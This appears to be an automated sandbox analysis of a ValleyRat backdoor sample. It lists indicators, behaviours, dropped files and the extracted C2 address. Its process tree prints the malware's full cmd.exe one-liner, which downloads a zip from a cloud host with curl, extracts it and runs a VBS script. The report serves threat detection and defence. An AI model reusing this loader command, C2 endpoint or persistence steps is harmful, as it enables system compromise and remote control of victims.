Analysis

  • user interaction
    yes
  • max time kernel
    960s
  • max time network
    961s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/10/2026, 14:17

General

  • Target
    OP-5.zip
  • Size 5.1MB
  • Sample261026-rlxcmaxsg1
  • SHA256 244fd5ecb1fe8ec99bc9006015ad9b42193f9dc6b6dc953fa4e723ca86d7f966
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • valleyrat_s2

C2
  • 156.234.7.14:8001

Signatures

  • Family: ValleyRat

    ValleyRat stage2 is a backdoor written in C++.

  • Drops file in Drivers directory 1 IoCs
  • Sets service image path in registry 3 TTPs 2 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 22 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates video capture drivers 2 TTPs 1 IoCs

    Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\Explorer.exe
    C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\OP-5.zip
    1⤵
      PID:4948
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:2656
      • C:\Windows\System32\SecurityHealthHost.exe
        \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
        1⤵
          PID:2532
        • C:\Windows\System32\rundll32.exe
          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
          1⤵
            PID:3004
          • C:\Users\Admin\Desktop\OP-5\NO-5.exe
            "C:\Users\Admin\Desktop\OP-5\NO-5.exe"
            1⤵
            • Sets service image path in registry
            • Adds Run key to start application
            • Enumerates connected drives
            • Enumerates video capture drivers
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: LoadsDriver
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:5612
            • C:\Users\Public\cache.exe
              C:\Users\Public\cache.exe
              2⤵
              • Drops file in Drivers directory
              • Executes dropped EXE
              PID:2244
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c curl -L -o C:\DMRootCA.zip https://xzy-1469461515.cos.ap-singapore.myqcloud.com/DMRootCA.zip && if not exist C:\DMRootCA md C:\DMRootCA && tar -xf C:\DMRootCA.zip -C C:\DMRootCA && del C:\DMRootCA.zip && cscript //B //Nologo C:\DMRootCA\Optimizeinstallation.vbs
              2⤵
              • Executes a command shell one-liner
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3328
              • C:\Windows\SysWOW64\curl.exe
                curl -L -o C:\DMRootCA.zip https://xzy-1469461515.cos.ap-singapore.myqcloud.com/DMRootCA.zip
                3⤵
                • System Location Discovery: System Language Discovery
                PID:4304
              • C:\Windows\SysWOW64\tar.exe
                tar -xf C:\DMRootCA.zip -C C:\DMRootCA
                3⤵
                  PID:3080
            • C:\Windows\System32\drivers\kvckiller.sys
              C:\Windows\System32\drivers\kvckiller.sys
              1⤵
              • Executes dropped EXE
              PID:3216
            • C:\Users\Public\svchostsr.exe
              C:\Users\Public\svchostsr.exe
              1⤵
              • Sets service image path in registry
              • Executes dropped EXE
              • Loads dropped DLL
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: LoadsDriver
              PID:5800
            • C:\Windows\system32\taskmgr.exe
              "C:\Windows\system32\taskmgr.exe" /4
              1⤵
              • Checks SCSI registry key(s)
              • Modifies registry class
              • Suspicious behavior: GetForegroundWindowSpam
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of SetWindowsHookEx
              PID:3892

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  DMRootCA.zip

                  • Path C:\DMRootCA.zip
                  • Size 384B
                  • SHA256 1b4adf39370007572345603c61b3b533518727a0db2812a29a10e81ef3ce993a
                  • MD5 SHA1 SHA512 TLSH

                  EmbeddedDriverService.sys

                  • Path C:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sys
                  • Size 34KB
                  • SHA256 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  cache.exe

                  • Path C:\Users\Public\cache.exe
                  • Size 349KB
                  • SHA256 46f65f7089e8bf0468a096247243d513f4667a964c239ea00334431122f1a544
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  libcef.dll

                  • Path C:\Users\Public\libcef.dll
                  • Size 11.6MB
                  • SHA256 f8515b0e2a68b677a105ed438062223ac91e61c7796bd6cd83089e1b0591016b
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  svchostsr.exe

                  • Path C:\Users\Public\svchostsr.exe
                  • Size 671KB
                  • SHA256 85314a24741a27bb969008b91f6f47e08f1a7a761eb9c772da8a608947dbe092
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  kvckiller.sys

                  • Path C:\Windows\System32\drivers\kvckiller.sys
                  • Size 37KB
                  • SHA256 ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/5612-11-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-2-0x0000000002F90000-0x0000000002FB2000-memory.dmp

                  memory/5612-14-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-13-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-12-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-10-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-9-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-6-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-7-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-5-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-17-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-1-0x0000000002F90000-0x0000000002FB2000-memory.dmp

                  memory/5612-20-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-22-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-16-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-24-0x0000000010000000-0x0000000010071000-memory.dmp

                  memory/5612-23-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-41-0x0000000002F90000-0x0000000002FB2000-memory.dmp

                  memory/5612-42-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-44-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-45-0x0000000010000000-0x0000000010062000-memory.dmp

                  memory/5612-18-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-65-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-66-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-67-0x0000000010000000-0x000000001001B000-memory.dmp

                  memory/5612-75-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-8-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-4-0x0000000002F90000-0x0000000002FB2000-memory.dmp

                  memory/5612-3-0x0000000002F90000-0x0000000002FB2000-memory.dmp

                  memory/5612-81-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5612-15-0x0000000003C30000-0x0000000003C96000-memory.dmp

                  memory/5800-85-0x0000000002930000-0x0000000002952000-memory.dmp

                  memory/5800-101-0x0000000003370000-0x00000000033D6000-memory.dmp

                  memory/5800-83-0x0000000002930000-0x0000000002952000-memory.dmp

                  memory/5800-90-0x0000000003370000-0x00000000033D6000-memory.dmp

                  memory/5800-96-0x0000000003370000-0x00000000033D6000-memory.dmp

                  memory/5800-95-0x0000000003370000-0x00000000033D6000-memory.dmp

                  memory/5800-94-0x0000000003370000-0x00000000033D6000-memory.dmp

                  memory/5800-93-0x0000000003370000-0x00000000033D6000-memory.dmp

                  memory/5800-91-0x0000000003370000-0x00000000033D6000-memory.dmp

                  memory/5800-84-0x0000000002930000-0x0000000002952000-memory.dmp

                  memory/5800-88-0x0000000003370000-0x00000000033D6000-memory.dmp

                  memory/5800-87-0x0000000003370000-0x00000000033D6000-memory.dmp

                  memory/5800-86-0x0000000003370000-0x00000000033D6000-memory.dmp

                  memory/5800-98-0x0000000003370000-0x00000000033D6000-memory.dmp

                  memory/5800-97-0x0000000003370000-0x00000000033D6000-memory.dmp

                  memory/5800-92-0x0000000003370000-0x00000000033D6000-memory.dmp

                  memory/5800-99-0x0000000003370000-0x00000000033D6000-memory.dmp

                  memory/5800-89-0x0000000003370000-0x00000000033D6000-memory.dmp

                  memory/5800-102-0x0000000002930000-0x0000000002952000-memory.dmp

                  memory/5800-103-0x0000000002930000-0x0000000002952000-memory.dmp

                  memory/5800-105-0x0000000002930000-0x0000000002952000-memory.dmp

                  memory/5800-106-0x0000000002930000-0x0000000002952000-memory.dmp

                  memory/5800-107-0x0000000002930000-0x0000000002952000-memory.dmp

                  memory/5800-108-0x00000000032D0000-0x0000000003336000-memory.dmp

                  memory/5800-116-0x00000000032D0000-0x0000000003336000-memory.dmp

                  memory/5800-115-0x00000000032D0000-0x0000000003336000-memory.dmp

                  memory/5800-114-0x00000000032D0000-0x0000000003336000-memory.dmp

                  memory/5800-113-0x00000000032D0000-0x0000000003336000-memory.dmp

                  memory/5800-112-0x00000000032D0000-0x0000000003336000-memory.dmp

                  memory/5800-111-0x00000000032D0000-0x0000000003336000-memory.dmp

                  memory/5800-110-0x00000000032D0000-0x0000000003336000-memory.dmp

                  memory/5800-109-0x00000000032D0000-0x0000000003336000-memory.dmp

                  memory/5800-82-0x0000000002930000-0x0000000002952000-memory.dmp